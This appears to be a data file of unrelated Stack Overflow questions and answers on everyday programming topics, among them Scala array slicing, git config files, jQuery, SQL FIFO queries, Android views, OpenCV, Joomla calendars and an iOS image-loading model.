40839068	0	 <blockquote> <p>This is really surprising to me, is there any internal memory copy that slow down the processing?</p> </blockquote> <p><code>ArrayOps.drop</code> internally calls <code>IterableLike.slice</code>, which allocates a builder that produces a new <code>Array</code> for each call:</p> <pre><code>override def slice(from: Int, until: Int): Repr = { val lo = math.max(from, 0) val hi = math.min(math.max(until, 0), length) val elems = math.max(hi - lo, 0) val b = newBuilder b.sizeHint(elems) var i = lo while (i &lt; hi) { b += self(i) i += 1 } b.result() } </code></pre> <p>You're seeing the cost of the iteration + allocation. You didn't specify how many times this happens and what's the size of the collection, but if it's large this could be time consuming.</p> <p>One way of optimizing this is to generate a <code>List[String]</code> instead which simply iterates the collection and drops it's <code>head</code> element. Note this will occur an additional traversal of the <code>Array[T]</code> to create the list, so make sure to benchmark this to see you actually gain anything:</p> <pre><code>val items = s.split(" +").toList val afterDrop = items.drop(2).mkString(" ") </code></pre> <p>Another possibility is to enrich <code>Array[T]</code> to include your own version of <code>mkString</code> which manually populates a <code>StringBuilder</code>:</p> <pre><code>object RichOps { implicit class RichArray[T](val arr: Array[T]) extends AnyVal { def mkStringWithIndex(start: Int, end: Int, separator: String): String = { var idx = start val stringBuilder = new StringBuilder(end - start) while (idx &lt; end) { stringBuilder.append(arr(idx)) if (idx != end - 1) { stringBuilder.append(separator) } idx += 1 } stringBuilder.toString() } } } </code></pre> <p>And now we have:</p> <pre><code>object Test { def main(args: Array[String]): Unit = { import RichOps._ val items = "hello everyone and welcome".split(" ") println(items.mkStringWithIndex(2, items.length, " ")) } </code></pre> <p>Yields:</p> <pre><code>and welcome </code></pre>
14468955	0	 <p>Try appending the search keyword to Yahoo search api url and accessing it via uri onClick new button in your activity.</p>
8584890	0	Git default files (ignoring after first pull) <p>How would you go about setting up this scenario in git:</p> <p>My source has a settings file with configuration settings such as db connection credentials, etc... (this is a Drupal source and I'm referring to settings.php)</p> <p>When developers clone the source, they'll need to go in and change settings specific to their environment. These changes of course should not be pushed back to origin. And at the same time I want them to be able to work with this default template (since most of it will not be changed).</p> <p>So .gitignore doesn't work here because I want it in their first clone. Do I need to teach every new developer about <code>git update-index --assume-unchanged</code>?</p> <p>Isn't there a slicker way to do this?</p>
1451112	0	 <p>This tutorial on kirupa website could help you. </p> <p><a href="http://www.kirupa.com/web/xml/index.htm" rel="nofollow noreferrer">http://www.kirupa.com/web/xml/index.htm</a></p> <p>It explains how to work with AS and XML. Hope this helps you get the answer. </p>
8039556	0	 <p>How about we do this the jQuery way.</p> <h3>HTML</h3> <pre><code>&lt;ul id="items"&gt; &lt;li&gt;&lt;a href="#" class="item" title="Gallery" data-key="1" data-title="A+D Gallery" data-address="123 Main St" data-hours="10:00, 10:30, 11:00, 11:30, 1:00"&gt;Gallery&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#" class="item" title="Radio" data-key="2" data-title="Radio" data-address="321 Center Dr" data-hours="11:00, 11:30, 12:00, 12:30, 1:00, 1:30, 2:00, 2:30"&gt;Radio&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre> <h3>JavaScript</h3> <pre><code>$(function() { $('#items').on('click', 'a.item', function () { console.log($(this).data('key')); return false; }); }); </code></pre> <h3>Demo <a href="http://jsfiddle.net/mattball/XBrfH/" rel="nofollow">http://jsfiddle.net/mattball/XBrfH/</a></h3>
4681447	0	 <p>Have you considered using the DebuggerStepThrough attribute? <a href="http://msdn.microsoft.com/en-us/library/system.diagnostics.debuggerstepthroughattribute.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/system.diagnostics.debuggerstepthroughattribute.aspx</a></p> <pre><code>[DebuggerStepThrough] internal void MyHelper(Action someCallback) { try { someCallback(); } catch(Exception ex) { // Debugger will not break here // because of the DebuggerStepThrough attribute DoSomething(ex); throw; } } </code></pre>
16551250	0	OpenSuse 12.3 + Java Dual Display <p>I have a Java application that displays two JFrames on two separate monitors. On Ubuntu and Windows the application displays just fine. I can configure the JFrames to display on the monitors with the specified screen ID. However on openSUSE it keeps displaying on the same monitor regardless of the setting. What is different to openSUSE?</p> <p>Here is some of the code that I use to determine on which monitor the JFrame must display:</p> <pre><code> GraphicsDevice[] screens = GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices(); for (int s = 0; s &lt screens.length; s++) { GraphicsConfiguration configuration = null; for (int c = 0; c &lt screens[s].getConfigurations().length; c++) { if (AWTUtilities.isTranslucencyCapable(screens[s].getConfigurations()[c])) { configuration = screens[s].getConfigurations()[c]; break; } } if (configuration == null) { configuration = screens[s].getDefaultConfiguration(); } if (screens[s].getIDstring().equals[frame1_id]) { frame1 = new JFrame("Frame 1", configuration); frame1.setResizable(false); frame1.setUndecorated(true); frame1.setBounds(configuration.getBounds()); frame1.setVisible(true); } if (screens[s].getIDstring().equals[frame2_id]) { frame2 = new JFrame("Frame 2", configuration); frame2.setResizable(false); frame2.setUndecorated(true); frame2.setBounds(configuration.getBounds()); frame2.setVisible(true); } } </code></pre>
7316030	0	Saving wysiwyg Editor content with Ajax <p>I am writing a cms (on .net) and have structured the whole page to work client side. There is a treeview that lets you add/remove/move items and define their names in the languages defined. For each language I save the names of the category defined, but when there is HTML content associated with it, i fall into the JavaScript serializer problem that finds the content too long to be serialized.</p> <p>What would be the best approach to make sth like this work. Shall I change everything to work with postbacks, or try to manually call _doPostBack for the editor content (which I don't want). Thank you in advance.</p>
11672493	0	SQL-based, FIFO logic <p>I need to build a query that will aggregate the # of units of blood that has been transfused so it can be compared to the # of units of blood that has been cross-matched. Blood (a precious resource) that is cross-matched, but not transfused is wasted.</p> <p>Providers are supposed to check the system-of-record (Epic) for 'active' cross-match orders before creating new ones. Providers that don't do this are 'penalized' (provider 20). No penalty applies (it seems) for providers that don't transfuse all of the blood that they've cross-matched (provider 10).</p> <p>Cross-match orders:</p> <pre><code>|ENC_ID|PROV_ID|ORDER_ID|ORDER_TIME |UNITS| | 1| 10| 100|26-JUL-12 13:00| 4| | 1| 20| 231|26-JUL-12 15:00| 2| </code></pre> <p>Transfusion orders:</p> <pre><code>|ENC_ID|PROV_ID|ORDER_ID|ORDER_TIME |UNITS| | 1| 10| 500|26-JUL-12 13:05| 1| | 1| 10| 501|26-JUL-12 13:25| 1| | 1| 20| 501|26-JUL-12 15:00| 1| | 1| 20| 501|26-JUL-12 15:21| 2| </code></pre> <p>Rules:</p> <ul> <li>compare transfusions to cross-matches for same encounter (<code>transfusion.END_ID=cross-match.ENC_ID</code>)</li> <li>transfusion orders are applied to cross-match orders in a FIFO manner</li> <li><code>transfusion.ORDER_TIME &gt;= cross-match.ORDER_TIME</code></li> <li>a provider may transfuse more than their cross-match order, as long as all of the 'active' cross-match order still have available units (provider 20's second transfusion order)</li> </ul> <p>Desired result:</p> <pre><code>|ENC_ID|PROV_ID|ORDER_ID|ORDER_TIME |CROSS-MATCHED|TRANSFUSED| | 1| 10| 100|26-JUL-12 13:00| 4| 4| | 1| 20| 231|26-JUL-12 15:00| 2| 1| </code></pre> <p>Provider 10 'credited' with Provider 20's transfusions.</p> <p>Can this logic be implemented without resorting to a procedure?</p>
37816643	0	Why cursor type adOpenForwardOnly performance is better than adOpenStatic? <p>I am trying to understand the difference between <code>CursorTypeEnum</code> 0 and 3, as described <a href="https://msdn.microsoft.com/en-us/library/ms681771(v=vs.85).aspx" rel="nofollow">here</a>. Both are static, except type 0 only supports forward iteration.</p> <p>In my case <code>rs.Open strsql, cn, 0</code> returns consistently in under 30 seconds, whereas performance of the same query with type 3 cursor fluctuates widely between 3 and 8 minutes.</p> <p>They both need to lock the underlying tables in order to create static set, so why such dramatic difference?</p> <p><em>Disclaimer: I am no expert in VBA or transactional databases. I understand concurrency, algorithmic complexity and data structures.</em></p>
17807386	0	 <p>you can use this,</p> <pre><code>Cursor cursor = db.query(true, YOUR_TABLE_NAME, new String[] { COLUMN1 ,COLUMN2, COLUMN_NAME_3 }, null, null, COLUMN2, null, null, null); </code></pre> <p>Here first parameter is used to set the DISTINCT value i.e if set to true it will return distinct column value.</p> <p>and sixth parameter denotes column name which you want to <code>GROUP BY</code>.</p>
2969853	0	 <p>SharePoint document versioning is internal to the server architecture, and cannot be extended.</p> <p><a href="http://social.technet.microsoft.com/Forums/en/sharepoint2010setup/thread/67936a2b-e534-4c53-8802-a601eade73ff" rel="nofollow noreferrer">http://social.technet.microsoft.com/Forums/en/sharepoint2010setup/thread/67936a2b-e534-4c53-8802-a601eade73ff</a></p>
2556672	0	 <p>What happens when you just do this?</p> <pre><code>public Bitmap GetBitmap() { Bitmap bmp = new Bitmap(codeEditor.Width, codeEditor.Height); Rectangle rect = new Rectangle(0, 0, codeEditor.Width, codeEditor.Height); codeEditor.DrawToBitmap(bmp, rect); return bmp; } </code></pre>
9108647	0	 <p>I'm having exactly the same problem. At first I thought that it was not working, but I forgot my app opened and after a while the video showed up.</p> <p>The funny thing is that if I use this video[1] which I found in a tutorial on VideoView, the lag is much smaller. I am thinking on installing Darwin Streaming server to check if it is a matter of VLC or another issue.</p> <p>[1] rtsp://v5.cache1.c.youtube.com/CjYLENy73wIaLQnhycnrJQ8qmRMYESARFEIJbXYtZ29vZ2xlSARSBXdhdGNoYPj_hYjnq6uUTQw=/0/0/0/video.3gp</p>
39141112	0	 <p>I would like to share my test steps for your reference:</p> <ol> <li>I created a project <code>testgit</code> in a TFVC project, then add a folder <code>test</code> which is under git.</li> </ol> <p><a href="https://i.stack.imgur.com/qxBon.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/qxBon.png" alt="enter image description here"></a></p> <ol start="2"> <li>perform <code>git-tf clone</code>, and clone the project successfully:</li> </ol> <p><a href="https://i.stack.imgur.com/624H3.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/624H3.png" alt="enter image description here"></a></p>
14174692	0	setText of a TextView array <p>What I'm trying to do is have an EditText where people enter their names. As people press the "Add Player" button, the name which they just typed appears below in the list form. So I've created 8 textviews which are initially invisible but as people type the name press the "Add Player" button, the text changes to their names and becomes visible.</p> <p>So I set up a TextView array of the list of names, which are all text views</p> <pre><code>TextView[] nameList = new TextView[]{name1, name2, name3, name4, name5, name6, name7, name8}; </code></pre> <p>Later on in the code in the onClick section, I had</p> <pre><code>for (int i = 0; i &lt; 8; i++) { String name = etName.getText().toString(); nameList[i].setText(name); nameList[i].setVisibility(View.VISIBLE); } </code></pre> <p>However, with this, whenever I press the "add player" button, the app crashes and I get a NullPointerException. How would I solve this?</p> <p>The problem isn't with the for loop as the app crashed without it. The problem seems to be with the array as if I put</p> <pre><code>name1.setText(name); name1.setVisibility(View.VISIBLE); </code></pre> <p>the code worked fine.</p>
6925226	0	 <p>May be best way for u will be use HashMap </p> <p><a href="http://msdn.microsoft.com/ru-ru/library/xfhwa508.aspx" rel="nofollow">Dictionary</a>?</p>
7700839	0	 <p>I just wrote a library which provides this, called "knob" [<a href="http://hackage.haskell.org/package/knob">hackage</a>]. You can use it to create <code>Handle</code>s which reference/modify a <code>ByteString</code>:</p> <pre><code>import Data.ByteString (pack) import Data.Knob import System.IO main = do knob &lt;- newKnob (pack []) h &lt;- newFileHandle knob "test.txt" WriteMode hPutStrLn h "Hello world!" hClose h bytes &lt;- Data.Knob.getContents knob putStrLn ("Wrote bytes: " ++ show bytes) </code></pre>
21230175	0	Fastest between mat of Vec2 or 2 Mat <p>I have a question concerning access speed of OpenCV matrix.</p> <p>I currently need two channels of unsigned char to contain my data. But at one point i need to split my data to process them separately (which probably results in a matrix copy)</p> <pre><code>for( auto ptr = ROI.begin&lt;cv::Vec2b&gt;(); ptr!=ROI.end&lt;cv::Vec2b&gt;();ptr++){ //insert values } cv::split(ROI,channels_vector) process(channels_vector[0]); process(channels_vector[1]); more_stuff(ROI); </code></pre> <p>My question is the following : Should I use two different matrix at the beginning to avoid the split or let it like this ? Or as it may depend on my computation what is the difference of cost between two accesses of a matrix and a matrix copy ?</p>
22852946	0	Two calendar form in one page Joomla <p>I implemented two calendar form in one view page in joomla component. the code is like this:</p> <pre><code> &lt;tr&gt; &lt;td&gt;Start Date&lt;/td&gt; &lt;td&gt;&lt;?php echo JHTML::calendar(date("Y-m-d"),'from', 'date', '%Y-%m-%d',array('size'=&gt;'8','maxlength'=&gt;'10','class'=&gt;' validate[\'required\']',)); ?&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;End Date&lt;/td&gt; &lt;td&gt;&lt;?php echo JHTML::calendar(date("Y-m-d"),'to', 'date', '%Y-%m-%d',array('size'=&gt;'8','maxlength'=&gt;'10','class'=&gt;' validate[\'required\']',)); ?&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre> <p>But now only the first calendar form would pop up a jQuery calendar that let me select a date, the second form, when clicking on it, there is no effect.</p> <p>Hope someone could help me solve this problem.</p>
37570362	0	 <p>For example you can change </p> <p>font-size: 40px; to font-size: 2.500em;</p> <p>There is also a online convertor to check your pixels in em-s</p> <p><a href="http://pxtoem.com/" rel="nofollow">http://pxtoem.com/</a></p>
16272611	0	 <p>I just added "-с" parameter. It makes Psexec copy executable to remote machine. So it works without access errors.</p>
25806052	0	 <p>I used <a href="http://helpandmanual.com" rel="nofollow">Help and Manual</a> in my previous position. It supports conditional building. Perhaps it can work in your case. (Not affiliated, just a user.)</p>
32561088	0	 <p>I may have assumed that when you say Tableau Online, you dont mean the Tableau Public.. I assume your tableau online is your local or let's say company hosted tableau server... for the answers to your questions in sequence 1 - 3 it can be done.</p> <p>tableau supports a lot of datasources even the classic text based data it can read..</p> <p>did you tried installing your database drivers?</p> <blockquote> <p>If the server is configured to use local authentication, when you add a user identity, you specify a username, a password and a site role. In that case, the Tableau Server repository is used exclusively to authenticate the user.</p> </blockquote> <p><a href="http://onlinehelp.tableau.com/current/server/en-us/security_auth.htm" rel="nofollow">http://onlinehelp.tableau.com/current/server/en-us/security_auth.htm</a></p>
15986463	0	 <pre><code>self.lblQuestionTitle.text = [nextQuestion objectForKey:@"QuestionTitle"]; </code></pre>
26787995	0	 <p>Absolutely positioned elements are removed from the normal document flow, so they won't fill up 100% of their parent like regular static block level elements. Instead, they rely on their content width or a specified width. Firefox seems to apply the content width a bit differently than Chrome or IE, which is why it appears cut off.</p> <p>Not sure of your use-case or what browsers you support, but you have a couple options: </p> <ol> <li>Set a width on the absolutely positioned element</li> <li>If you don't need to <a href="http://caniuse.com/#search=flex" rel="nofollow">support &lt; IE 10 or opera mini</a>, you can <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/CSS/Flexible_boxes" rel="nofollow">use flexbox instead</a> of the media object</li> <li>If you just don't want the text cut off, you can use the newer <a href="https://github.com/stubbornella/oocss/blob/master/oocss/src/components/media/_media.scss" rel="nofollow">OOCSS method for media objects</a> which uses <code>display: table-cell</code> for media body. This has the caveat that your media object basically take up as much room as it can since it behaves like a table cell, which may not be what you're after.</li> </ol>
38942505	0	 <p>I have altered the accepted answer's data and query.</p> <p>The data is now a sample of a data from a 5 star rating system.<br> The function now correctly uses average values of all the posts.</p> <p>The difference is in the calculation of those average values, instead PHP, they are calculated in the SQL, for the purpose of the answer.</p> <p><s>You can see it in action on SQL Fiddle: <a href="http://sqlfiddle.com/#!9/84d8b/2/2" rel="nofollow">http://sqlfiddle.com/#!9/84d8b/2/2</a></s></p> <hr> <h2>The updated query</h2> <p>The new fiddle: <a href="http://sqlfiddle.com/#!9/3cdfe/1/2" rel="nofollow">http://sqlfiddle.com/#!9/3cdfe/1/2</a></p> <pre><code>SET @avg_total_votes := (SELECT AVG(meta_value) FROM postmeta WHERE meta_key ='this_num_votes'); SET @avg_total_rating := (SELECT AVG(meta_value) FROM postmeta WHERE meta_key ='this_rating'); SELECT posts.ID, posts.title, getmeta_votes.meta_value AS votes, getmeta_rating.meta_value AS rating, ( ( (@avg_total_votes * @avg_total_rating) + (getmeta_votes.meta_value * getmeta_rating.meta_value) ) / ( @avg_total_votes + getmeta_votes.meta_value ) ) AS factor FROM posts LEFT JOIN postmeta AS getmeta_votes ON posts.ID = getmeta_votes.post_id AND getmeta_votes.meta_key = 'this_num_votes' LEFT JOIN postmeta AS getmeta_rating ON posts.ID = getmeta_rating.post_id AND getmeta_rating.meta_key = 'this_rating' WHERE NOT getmeta_votes.meta_value = 0 AND NOT getmeta_rating.meta_value = 0 ORDER BY factor DESC; </code></pre> <p>I have found this query construction to be much faster, the previous one was working for 2 hours on a 2,000+ posts data set (1,000,000+ wp_postmeta rows), until terminated.</p> <p>This one runs in 0.04 sec.</p>
38512896	0	java regex match words that aren't numbers <p>I have a json missing quotes </p> <pre><code>{ data: [{ timestamp: 1467720920, val: { min: 6.90, max: 7.25, avg: 7.22 }, temp: { min: 75.49, max: 75.49, avg: 75.49 }, gps: { lat: 0.707581, long: -1.941864, hdop: 2.54, ttf: 49.4 } }], id: A1000049A6248C, groupId: HU5PPC1E, rssi: -93, cell: { timestamp: 1467731669, rssi: -93, lat: 0.735554, long: -1.974655 } } } </code></pre> <p>I need to put quotes around all of the words to the left of the colon and all of the words that aren't purely numbers to the right of the colon. So I need quotes around A1000049A6248C but not -1.974655. How do I make a regex to do this in java? I've tried </p> <p><code>json.replaceAll("(\\w+|[+-]([0-9]*[.])?[0-9]+)", "\"$1\"");</code> </p> <p>which will put every word in quotes. I've also tried something like this to get a word that isn't all numbers <code>json.replaceAll("\\b(?!\\d*)\\b", "\"$1\"");</code></p> <p><strong>Expected format</strong></p> <pre><code>{ "data": [ { "timestamp": 1463494202, "val": { "min": 6.75, "max": 7.19, "avg": 7.14 }, "temp_int": { "min": 54.28, "max": 54.28, "avg": 54.28 }, "gps": { "lat": 0.711407, "long": -1.460091, "hdop": 1.42, "ttf": 42 } } ], "id": "A1000049A624D1", "groupId": "299F7G5AR", "rssi": -83, "cell": { "timestamp": 1463501353, "rssi": -83, "lat": 0, "long": 0 } } </code></pre>
31204453	0	 <p>I'm afraid <code>document.save()</code> only returns a populated version of <code>model</code>. You can see all files in <code>model.files</code> but then it would be up to you to figure out which was the last one.</p> <p>One alternative is to create the file before adding it to document. You should be able to do:</p> <pre><code>//... File.create({ name: req.param("name"), creator: req.param("userID"); }, function(err, file){ if (err) {return res.serverError(err);} var newFileId = file.id; document.files.add(file.id); document.save(function(err, model) { if (err) {return res.serverError(err);} // the Document modal console.log(model); // the last insert id console.log('last inserted id:', newFileId); res.send(1); }); }); //... </code></pre> <p>In this case <code>newFileId</code> will have the id you need. Performance wise it should be the same as internally waterline has to create the file in similar way.</p>
22474325	0	My $_FILES['file']['name'] is producing gibberish <p>I am uploading files with the following code using Bootstrap as my front-end framework.</p> <pre><code>&lt;form method="POST" enctype="multipart/form-data" action= "php/up-load.php" role="form" &lt;div class="form-group"&gt; &lt;label for="file" class="col-sm-5 control-label"&gt; Select file(Compressed format) &lt;/label&gt; &lt;div&gt; &lt;input type="hidden" name="MAX_FILE_SIZE" value="1000000000"/&gt; &lt;input type="file" id="file" name="file" accept=".zip, .rar"/&gt; &lt;/div&gt; &lt;/div&gt; &lt;div&gt; &lt;button type="submit" class="btn btn-primary" name="upload" id="upload"&gt;Send&lt;/button&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>My php code is; </p> <pre><code>@ $original=$_FILES['file']['name']; @ $kiss=pathinfo($original, PATHINFO_EXTENSION); $allowed_extensions = array(".zip","rar","bzip2","iso","gz","rz","7z","tar","tgz","bz2","tbz2","lzma","tlz"); $result = in_array ("$kiss", $allowed_extensions); if (!$result) { // Wrong file type } else { //proceed.. } </code></pre> <p>My problem is that the</p> <pre><code>$_FILES['file']['name']; </code></pre> <p>is returning gibberish such as <code>php7vy8X9</code> and <code>phpY8wQVR</code> . Have tried everything. What could be the problem?</p>
34608616	0	Objective C model - How to download image inside a model class? <p>I have the following model of a box, it is meant to download images in a background thread and create an image from this downloaded image.</p> <p>The viewcontroller has a custom uicollectioncell, but its just a uiimageview; nothing too complex.</p> <p>In the <code>cellForItemAtIndexPath</code> I want to assign the cell's imageview using the model's downloaded image.</p> <p>However, its not quite working;</p> <ol> <li>The image never appears</li> <li>If I move the background image downloader to the <code>cellForItemAtIndexPath</code> and change a few items then the image loads fine.</li> </ol> <p>But what I'm wanting is to seperate the ViewContoller and the model; the model should do the heavy lifting and the viewcontroller simply handles the display.</p> <p>Code follows</p> <pre><code>// ViewController: View Did Load - (void)viewDidLoad { [super viewDidLoad]; if (!self.picturesArray) self.picturesArray = [NSMutableArray arrayWithCapacity:kNumberOfCells]; self.collectionView.delegate = self; self.collectionView.dataSource = self; self.collectionView.backgroundColor = [UIColor clearColor]; for (int i=0; i&lt;kNumberOfCells; i++) { Box *box = [[Box alloc] init]; [self.picturesArray addObject:box]; box = nil; } } // ViewController : collectionView delegage - (UICollectionViewCell *)collectionView:(UICollectionView *)collectionView cellForItemAtIndexPath:(NSIndexPath *)indexPath { MyCustomCollectionViewCell *cell = (MyCustomCollectionViewCell *) [collectionView dequeueReusableCellWithReuseIdentifier:cellId forIndexPath:indexPath]; Box *box = self.picturesArray[indexPath.row]; cell.backgroundColor = box.bgColor; cell.imageView.image = box.image; return cell; } </code></pre> <p>The <code>box</code> model is as follows</p> <pre><code>// Box model with an image property - (instancetype)init { self = [super init]; if (self) { NSURL *url = [NSURL URLWithString:kUrlString]; // Block variable to be assigned in block. __block NSData *imageData; dispatch_queue_t backgroundQueue = dispatch_queue_create("imagegrabber.bgqueue", NULL); // Dispatch a background thread for download dispatch_async(backgroundQueue, ^(void) { imageData = [NSData dataWithContentsOfURL:url]; if (imageData.length &gt;0) { // self.image is a property of the box model self.image = [[UIImage alloc] initWithData:imageData]; // Update UI on main thread dispatch_async(dispatch_get_main_queue(), ^(void) { }); } }); } return self; } </code></pre> <p>My question is this:</p> <ol> <li>How do I get the box model to download the image and then in my cellAtIndexPath make the cell's imageView assign its image from that downloaded boxmodel image?</li> </ol> <p>A further unrelated question</p> <ol> <li>Isn't it best practice to seperate the model from the actual downloading of items? But if I'm not meant to put this in the view controller, and not the model where does it go and how/whem would you call it?</li> </ol> <p>Thanks for now</p>
31788660	0	Excel Chart colorize 3D bars <p>Colorzing a 3D-Bar chart with Excel and interop does not work:</p> <p>Creation of chart:</p> <pre><code>chartRange = xlsSheet.Range[xlsSheet.Cells[1, 1], xlsSheet.Cells[array.GetLength(0), array.GetLength(1)]]; chartPage.SetSourceData(chartRange, Excel.XlRowCol.xlRows); chartPage.ChartType = Excel.XlChartType.xl3DColumn; chartPage.Location(Excel.XlChartLocation.xlLocationAsNewSheet, oOpt); </code></pre> <p>Changing color:</p> <pre><code>Excel.Series series = (Excel.Series)chartPage.SeriesCollection(1); Excel.Point pt = series.Points(2); pt.Format.Fill.ForeColor.RGB = (int)Excel.XlRgbColor.rgbPink; </code></pre> <p>Problem: Nothing will change inside the chart, but there is also no error. Just showing this random colors on the bars.</p>
14905038	0	 <p>If you call <code>System.exit()</code> your code won't execute <code>finally</code>, because that call terminates your JVM. </p>
13775908	0	 <p>According to the comment in the source of HashMap, it has to be a power of two. It makes sense in a HashMap, because of how the hashing works.</p> <p>However, there is no reason why power of two makes sense in an arraylist. If there was any reason behind choosing such a number, it would have been mentioned in the source itself. </p> <p>IMHO, it is just an arbitrary number, large enough to avoid frequent resizing(better performance) and small enough not to waste memory on unused capacity.</p>
10530657	0	 <pre><code> var latlong = "(2.34000000, -4.500000000)" var coords = latlong.replace(/[\(\) ]/g,'').split(','); console.log(coords[0]) console.log(coords[1]) </code></pre>
3518810	0	 <p>Change <code>"Mode=Share Deny Write"</code> to <code>"Mode=Read"</code></p> <p>in connection string</p>
718363	0	Why does IE7 fetch every favicon at startup? <p>I am trying to understand what IE7 is up to and why it takes forever to start up.</p> <p>I've been using Fiddler 2 to monitor traffic and the content of headers. I'll start Fiddler 2, then fire up IE7. And each time i do this I see that this browser always appears to chase down a favicon for every single site in my bookmarks. Worse it tries for both ICO and GIF format for each. </p> <p>I can't understand this. Am I mis-configured or is this a well-known 'feature' ?</p>
3932774	0	divide 64bit in two 32bit registers by 32bit <p>I am trying to write an x86 emulator in JavaScript for education purposes. I have already written a compiler and at the moment I am trying to write the x86 emulator in JavaScript.</p> <p>I have however a problem with the DIV instruction. According to <a href="http://siyobik.info/index.php?module=x86&amp;id=72" rel="nofollow">http://siyobik.info/index.php?module=x86&amp;id=72</a> DIV takes a 64bit number as input by interpreting EDX as the higher 32bit and EAX as the lower 32bit. It then divides this number by the DIV parameter and puts the result (if it is not greater than 0xFFFFFFFF) into EAX and the remainder into EDX.</p> <p>As JavaScript does not support 64bit integer I need to apply some tricks. But so far I did not come up with something useful.</p> <p>Does someone here have an idea how to implement that correctly with 32bit arithmetic?</p>
17523964	0	listing generic relations in Django <p>I have a <strong>generic relation</strong> in a class called <strong>Unsubscribe</strong>. The relation at the moment links to a class called <strong>Contact</strong>.</p> <p>I would like to <strong>list all Unsubscribe Contacts</strong> in view. My question is, <strong>where do I list from?</strong> Contacts or Unsubscribed? i.e. Should I be writing a view from my contacts app or my unsubscribe app, which end should I come at it from?</p> <p>Thanks</p> <pre><code>class Unsubscribe(models.Model): """ Notes: See: http://www.screamingatmyscreen.com/2012/6/django-and-generic-relations/ """ content_type = models.ForeignKey(ContentType, help_text="Represents the name of the model") object_id = models.PositiveIntegerField(help_text="stores the object id") content_object = generic.GenericForeignKey('content_type', 'object_id') reason = models.CharField(max_length=60) request_made = models.DateTimeField(auto_now_add=True, help_text="Shows when object was created.") </code></pre>
34631211	0	 <pre><code>&lt;div &gt;&lt;img src="&lt;%=request.getContextPath() %&gt;/images/logo.gif" title="Your Title" /&gt;&lt;/div&gt; </code></pre>
20323103	0	 <p>When using == or != or > or &lt; if the types of the two expressions are different it will attempt to convert them to string, number, or Boolean etc<br/> use below code to compare </p> <pre><code>if ( Date.parse ( currentdate) &gt; Date.parse ( enddate) ) { // your code } </code></pre>
39691107	0	 <p>You are embedding your data in the <code>Header</code> section of PostMan. These are for <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers" rel="nofollow">HTTP Headers</a> and not what you want. When using angular's post method, the parameters are in fact embedded into the Body section of a POST request. </p> <p>Put your parameters in the <code>Body</code> section of Postman and it should work.</p>
18537117	0	 <p>Divide and conquer. <code>printf</code>. Patience.</p>
27276680	1	How to get the last executed command in IDLE as in R? <p>When I use R and execute a command in the command window, I can just press up and I get the last executed command in the current command line. What key do I need to press in order to get the same in Python? </p> <p>Edit: When I asked this question, I did not know what IDLE or iPython is. I just googled "download python" and downloaded it. But now I know I am using IDLE.</p>
24548796	0	 <p>This can only go wrong if you copied d3dcompiler_47.dll from your Windows directory. Which is not suitable to run on older Windows versions.</p> <p>You <em>must</em> use the redistributable version of it. You'll find it back in the Windows SDK directory. Like C:\Program Files (x86)\Windows Kits\8.1\Redist\D3D on most machines. Pick the x86 or the x64 version of it, depending on the platform target you used to compile your program.</p>
755889	0	 <p>Try console.log() in the event to see if it is launched. Changing the store should work, however for other widgets like grid you have also to call refreshing methods.</p>
28623648	0	 <p>Just do</p> <pre><code>String attValue = driver.findElement(byAnyMethod).getAttribute("AttributeName"); </code></pre> <p>Hope it helps</p>
34573051	0	 <p>CSS: </p> <pre><code>h2 { color: blue; background-color: white; text-align: center; } header { background-color: black; width: 100%; height: 100px; } </code></pre> <p>Hope this work :) </p>
21344191	0	 <p>Store the schedule as an iCalendar <a href="http://stackoverflow.com/questions/tagged/rrule?sort=votes">rrule</a> (or a more normalized version if your prefer). </p> <p>Create a function to return upcoming dates for the rule. </p> <p>Create a materialized view of upcoming dates if you need to, to boost performance. </p> <p><a href="http://repo.or.cz/w/davical.git?a=blob;f=dba/rrule_functions.sql;hb=HEAD" rel="nofollow">PostgreSQL Functions for RRULE handling</a></p> <p>Use Table Inheritance to model the geographical locations. You should consider City to be a child of State and not County, as some cities <em>contain</em> counties. </p> <p>You want to be able point a single foreign key at an abstract geographical location such as "Ohio" or "Cuyahoga County, Ohio"</p> <p>Use a junction table to map multiple locations to a campaign.</p> <pre><code>--postgresql syntax create table campaigns ( campaign_id int primary key, name text unique, rrule text not null check ( is_valid_rrule(rrule) ) --you would need to write this ); create table locations ( location_id int primary key, type text not null check ( type in ('COUNTRY', 'PRIMARY_DIVISION','SECONDARY_DIVISION') ), --use a lookup table in real life name text not null, parent_id int null references locations (location_id) check ( type = 'COUNTRY' or parent_id is not null), unique (name, parent_id) ); create table campaign_locations ( campaign_id int references campaigns(campaign_id), location_id int references locations(location_id), primary key (campaign_id, location_id) ); --insert some locations: insert into locations values (1, 'COUNTRY', 'United States of America', null), (2, 'PRIMARY_DIVISION', 'Ohio', 1), (3, 'SECONDARY_DIVISION', 'Cuyahoga County', 2), (4, 'SECONDARY_DIVISION', 'Adams County', 2); --create a campaign with a recurrence rule: insert into campaigns values (1, 'My Campaign', 'FREQ=WEEKLY;BYDAY=MO,WE'); --associate a campaign with Cuyahoga and Adams counties: insert into campaign_locations values (1, 3), (1, 4); </code></pre>
3038454	0	Lambda Expressions in T4 Templates <p>Whilst putting together a T4 template I threw in a simple lambda expression:</p> <pre><code>&lt;#=string.Join(",", updateFields.ConvertAll(field =&gt; field.Name).ToArray())#&gt; </code></pre> <p>This causes the template to fail to generate with the error:</p> <pre><code>Compiling transformation: Invalid expression term '&gt;' </code></pre> <p>On the line with the lambda expression.</p> <p>This has been checked outside of a template and works fine. Does T4 not support working with lambda expressions? If not, are there any other language features that are unsupported in the context of a T4 template?</p> <p>Thanks!</p>
39322006	0	How to compile scala files from eclipse <p>I could not find any relevant answer to my following question : </p> <p>I'm trying to compile an existing scala and java project from eclipse. I have installed the software from eclipse as well - but i'm still having errors.</p> <p><a href="http://i.stack.imgur.com/nxuo0.png" rel="nofollow">i.e - erros in scala class</a></p> <p>What should i do in order to correctly compile the scala files?</p>
